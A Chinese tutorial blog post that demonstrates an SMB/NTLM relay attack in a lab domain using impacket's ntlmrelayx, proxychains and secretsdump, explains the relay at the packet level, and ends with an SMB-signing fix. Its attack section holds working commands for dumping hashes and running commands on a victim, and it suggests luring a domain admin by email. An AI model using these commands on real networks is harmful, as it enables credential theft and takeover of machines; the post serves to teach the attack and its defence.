Windows SMB请求重放攻击分析

smb中继或叫smb请求重放攻击,B是一个smb服务器,A来进行认证,B将A的认证信息转发到C上,如果A的凭证在C上认证成功就能进行下一步操作,如创建服务执行命令。如果在域中控制了某些常用服务,如:WEB OA系统、文件共享等服务则可以尝试使用SMB中继攻击来引诱域管理员访问达到获取其他机器权限的目的。

30.png环境

192.168.123.10 win 7  域管理员(administrator)机器

192.168.123.11 kali linux 攻击者机器

192.168.123.100 域内普通用户-受害者机器

攻击演示

需要smb签名关闭下才能进行利用,只有windows server的smb签名是默认开启的,像Windows 7的签名默认关闭

可以用nmap探测smb是否关闭

nmap --script smb-security-mode.nse -p445 192.168.123.0/24 --open

1.png下载impacket工具包

git clone https://github.com/CoreSecurity/impacket.git

192.168.123.11(攻击者机器) 执行

ntlmrelayx.py -tf hosts.txt -socks -smb2support

hosts.txt里面的内容是要进行中继的IP,机器越多成功率越高,我这里只有一个IP

2.png

然后让192.168.123.10(域管理员机器) 访问192.168.123.11(攻击者机器)的共享,可以架设一个web服务器,html页面里嵌入\攻击者地址,我这里为了方便演示就在本地写一个html

3.png

192.168.123.10(域管理员机器)访问共享时,提示如下说明中继成功

4.png
[*] Authenticating against smb://192.168.123.100 as Z3R0Administrator SUCCEED
[*] SOCKS: Adding Z3R0/ADMINISTRATOR@192.168.123.100(445) to active SOCKS connection. Enjoy

然后在本地会创建一个socks4代理

在 /etc/proxychains.conf 的最后一行填入

socks4 	192.168.123.11 1080

配置好socks4代理后攻击者执行

proxychains python secretsdump.py z3r0/Administrator@192.168.123.100

这样secretsdump.py发送出的认证数据包经过socks4代理中继就能成功进行认证5.png

如果不加上其他参数的话ntlmrelayx.py默认会dumphash

6.png

先看看视频效果图

上传时 freebuf提示图片超出大小限制(希望小编能处理下:) ),效果图地址:http://ringk3y.com/wp-content/uploads/2018/06/1.gif

原理分析

每一步smb请求都被192.168.123.11(攻击者机器)转发到了其他机器上

7.png1. 192.168.123.10(域管理员机器)向192.168.123.11(攻击者机器)商量smb协议版本

8.png

2. 192.168.123.11(攻击者机器)向192.168.123.100(受害者机器)商量smb协议版本

3.192.168.123.100(受害者机器)向192.168.123.11(攻击者机器)回答支持smb v2

9.png4.192.168.123.11(攻击者机器)向192.168.123.10(域管理员机器)回答支持smb v2

协商完就开始认证了

10.png1.192.168.123.10(域管理员机器)向192.168.123.11(攻击者机器)发出NTLMSSP_NEGOTIATE认证协商请求

2.192.168.123.11(攻击者机器)向192.168.123.100(受害者机器)发出NTLMSSP_NEGOTIATE认证协商请求

3.192.168.123.100(受害者机器)向192.168.123.11(攻击者机器)进行响应,响应包里含有challenge

11.png4.同样192.168.123.11(攻击者机器)向192.168.123.10(域管理员机器)进行响应,响应包里含有challenge

5.192.168.123.10(域管理员机器)收到challenge后用hash将challenge加密,作为NTLM Response字段发送给192.168.123.11(攻击者机器)

12.png6.同样,192.168.123.11(攻击者机器)将域管理员的认证请求也发往192.168.123.100(受害者机器)

13.png在响应包中可以看到已经认证成功了

14.png有了管理员权限就能为所欲为了

16.png因为没有目标机器密码所以不能进行正常的smb认证,ntlmrelayx脚本的socks4代理作用就是处理本地发往192.168.123.100 (受害者机器)流量起一个中继作用,因为已经认证过了就不用再进行认证,密码随便填一个就行,使用socks4代理时的smb的身份认证是域管理员。

可以通过创建服务来执行命令,当然ntlmrelayx.py也可以做到.

python ntlmrelayx.py -tf hosts.txt -c 'cmexe /c calc.exe'

18.png当192.168.123.10(域管理员机器)再次访问共享时,192.168.123.100(受害者机器)上可以看到calc已经运行了

17.png

总结

1.可以通过给域管理员发送邮件的方式来让他触发smb请求

2.当然如果域管理员触发了smb中继请求了也可以针对他所在那一台机器做中继,这样就能执行命令抓lsass.exe进程中的明文密码了

修复建议

将注册表项”RequireSecuritySignature”设置为 1 可以启用 SMB 签名

powershell执行

Set-ItemProperty -Path "HKLM:SYSTEMCurrentControlSetServicesLanmanWorkstationParameters" RequireSecureNegotiate -Value 1 –Force

文章来源:https://www.cnaaa.net,转载请注明出处:https://www.cnaaa.net/archives/7493

(0)
郭靖的头像郭靖
上一篇 2023年3月3日 下午4:26
下一篇 2023年3月6日 下午6:10

相关推荐

  • WinServer服务器设置多用户同时远程访问

    1、按Win+R键,在弹出的面板中输入gpedit.msc,进入到“本地组策略编辑器”。  2、依次选择计算机配置→管理模板→Windows组件→远程桌面服务→远程桌面会话主机→连接,双击选择“将远程桌面服务用户限制到单独的远程桌面服务会话” 3、在“将远程桌面服务用户限制到单独的远程桌面服务会话”面板中,选择“已禁用”选项,点击确定。 &nbsp…

    2022年11月14日
    80500
  • Windows10 此用户无法登录,因为该账户当前已被禁用

    当我访问同事电脑共享文件夹时,弹出如下提示框:(可以在命令提示符上ping通,就是死活不能访问) 网上的那些置顶解决办法我就不说了,什么修改本地策略、安全策略,什么关闭防火墙啦、什么打开网络发现啦……..    压根球用没有!!我这里用的是找得小众化的偏方: 1、打开控制面板; 2、选择用户账户; 3、打…

    2023年2月17日
    1.4K00
  • 通过远程桌面连接Windows实例提示“远程连接计算机需要网络级别身份验证”怎么办?

    问题描述 使用远程桌面连接工具登录Windows系统的ECS实例失败,并提示“远程连接计算机需要网络级别身份验证”的报错,如下图所示。 问题原因 本地Windows主机的远程桌面连接工具版本过低,导致远程连接失败。 解决方案 下列操作以Windows Server 2012 R2 64位操作系统为例,其它版本的操作系统的配置可能有所差异,具体情况请参考相应操…

    2023年11月22日
    76100
  • Win10共享文件夹无法访问怎么办

    无论是学习还是工作我们都会去设置共享文件来使用,不过难免也会遇到无法打开或者使用共性文件夹的情况,而这一般是系统设置出现问题,而以下是小编所带来几种解决win10不能共享文件夹的解决方法,一起来看看吧。   Win10无法打开共享文件的解决方法   方法一   1. 首先在Windows10电脑上按下Win+R组合键,打开运行窗口,输入命令services.…

    2024年6月11日
    79400
  • 如何通过宝塔面板配置ssl证书

    至于宝塔的安装以及如何安装环境搭建网站,大家可以看我们的另一篇文章: Centos7.6下宝塔安装及资产管理系统部署 基于宝塔面板配置网站ssl证书支持https访问其实很简单,不需要你懂什么技术知识。接下来你跟着我的步骤,就能成功配置网站ssl。 宝塔面板后台设置成功如图所示: 第一步:点击设置 第二步:点击右侧的SSL,选择宝塔SSL,点击申请证书 第三…

    2022年6月14日
    1.6K00

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

在线咨询: QQ交谈

邮件:712342017@qq.com

工作时间:周一至周五,8:30-17:30,节假日休息

关注微信